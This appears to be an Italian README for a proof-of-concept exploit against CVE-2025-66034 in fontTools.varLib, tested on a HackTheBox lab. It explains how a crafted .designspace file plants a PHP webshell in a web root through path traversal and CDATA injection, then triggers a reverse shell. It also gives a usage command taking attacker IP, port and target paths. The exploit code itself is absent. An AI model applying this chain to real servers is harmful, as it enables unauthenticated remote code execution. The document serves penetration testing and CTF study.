CVE-2025-66034 — fontTools varLib Scrittura Arbitraria di File → RCE

PoC exploit per una vulnerabilità di Scrittura Arbitraria di File + Iniezione XML in fontTools.varLib Testato su HackTheBox — VarIaType

Vulnerabilità

fontTools.varLib elabora file XML .designspace per creare font variabili. Due debolezze si combinano per ottenere RCE senza autenticazione:

Concatenando entrambe le primitive è possibile scrivere una webshell PHP in un percorso accessibile via web, ottenendo un'esecuzione di codice remota senza autenticazione.

Utilizzo

python3 font_varlib.py \
  --ip <attacker-ip> \
  --port <port> \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/portal.target.htb/public/files \
  --shell http://portal.target.htb/files

Opzioni

Dipendenze

pip install requests fonttools

Come Funziona

1. Font master — Due file .ttf minimi (source-light.ttf, source-regular.ttf) vengono generati utilizzando fontTools.FontBuilder come master richiesti per il designspace
2. .designspace malevolo — Viene creato un file XML appositamente modificato con:
   • Webshell PHP iniettata tramite una suddivisione CDATA all'interno di <labelname>
   • Percorso di scrittura assoluto impostato come filename di <variable-font>, bypassando output_dir tramite os.path.join()
3. Caricamento — Il .designspace + i font master vengono inviati tramite POST all'endpoint di elaborazione
4. Attivazione — Il file .php piantato viene richiesto, eseguendo il payload della reverse shell

Divulgazione

Legale

Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e uso in CTF. Non eseguirlo su sistemi che non possiedi o per cui non hai esplicito permesso scritto di test.

di 4nuxd